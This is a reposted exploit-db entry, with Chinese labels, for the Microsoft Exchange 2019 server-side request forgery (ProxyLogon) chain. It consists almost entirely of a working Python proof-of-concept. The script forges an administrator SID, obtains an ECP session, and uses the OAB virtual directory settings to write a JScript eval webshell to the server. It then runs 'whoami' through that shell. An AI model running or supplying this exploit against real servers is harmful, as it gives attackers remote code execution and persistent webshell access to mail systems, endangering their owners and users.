Microsoft Exchange 2019 – Server-Side Request Forgery

  • 作者: F5
    日期: 2021-03-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49663/
  • import requests
    from urllib3.exceptions import InsecureRequestWarning
    import random
    import string
    import sys
    
    
    def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
    
    if len(sys.argv) < 2:
    print("使用方式: python PoC.py <target> <email>")
    print("使用方式: python PoC.py mail.btwaf.cn test2@btwaf.cn")
    exit()
    
    proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    target = sys.argv[1]
    email = sys.argv[2]
    random_name = id_generator(4) + ".js"
    user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
    
    shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
    shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
    
    # webshell-马子内容
    shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'
    
    autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
    <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
    </Autodiscover>
    """ % email
    
    print("正在获取Exchange Server " + target+"权限")
    print("=============================")
    FQDN = "EXCHANGE01"
    ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
    "User-Agent": user_agent},
    verify=False,proxies=proxies)
    
    if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
    FQDN = ct.headers["X-FEServer"]
    
    
    ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "User-Agent": user_agent},
     data=autoDiscoverBody,
    proxies=proxies,
     verify=False
     )
    
    if ct.status_code != 200:
    print(ct.status_code)
    print("Autodiscover Error!")
    exit()
    
    if "<LegacyDN>" not in str(ct.content):
    print("Can not get LegacyDN!")
    exit()
    
    legacyDn = str(ct.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0]
    print("Got DN: " + legacyDn)
    
    mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
    
    ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
    "Content-Type": "application/mapi-http",
    "X-Requesttype": "Connect",
    "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
    "X-Clientapplication": "Outlook/15.0.4815.1002",
    "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
    "User-Agent": user_agent
    },
     data=mapi_body,
     verify=False,
    proxies=proxies
     )
    if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
    print("Mapi Error!")
    exit()
    
    sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0]
    
    print("Got SID: " + sid)
    sid = sid.replace(sid.split("-")[-1],"500")
    
    proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
    """ % sid
    
    ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "msExchLogonMailbox": "S-1-5-20",
    "User-Agent": user_agent
    },
     data=proxyLogon_request,
    proxies=proxies,
     verify=False
     )
    if ct.status_code != 241 or not "set-cookie" in ct.headers:
    print("Proxylogon Error!")
    exit()
    
    sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
    
    msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
    print("Got session id: " + sess_id)
    print("Got canary: " + msExchEcpCanary)
    
    ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "Content-Type": "application/json; ",
    "msExchLogonMailbox": "S-1-5-20",
    "User-Agent": user_agent
    
    },
     json={"filter": {
     "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
    "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
     verify=False
     )
    
    if ct.status_code != 200:
    print("GetOAB Error!")
    exit()
    oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
    print("Got OAB id: " + oabId)
    
    oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
    "properties": {
    "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
     "ExternalUrl": "http://ffff/#%s" % shell_content}}}
    
    ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "msExchLogonMailbox": "S-1-5-20",
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
    },
     json=oab_json,
     verify=False
     )
    if ct.status_code != 200:
    print("Set external url Error!")
    exit()
    
    reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
    "properties": {
    "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
     "FilePathName": shell_absolute_path}}}
    
    ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "msExchLogonMailbox": "S-1-5-20",
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
    },
     json=reset_oab_body,
     verify=False
     )
    
    if ct.status_code != 200:
    print("写入shell失败了啊")
    exit()
    
    print("成功了。马上就验证shell是否OK!")
    print("POSTshell:https://"+target+"/owa/auth/test11.aspx")
    shell_url="https://"+target+"/owa/auth/test11.aspx"
    print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
    print("正在请求shell")
    data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},verify=False)
    if data.status_code != 200:
    print("写入shell失败")
    else:
    print("权限如下:"+data.text.split("OAB (Default Web Site)")[0].replace("Name: ",""))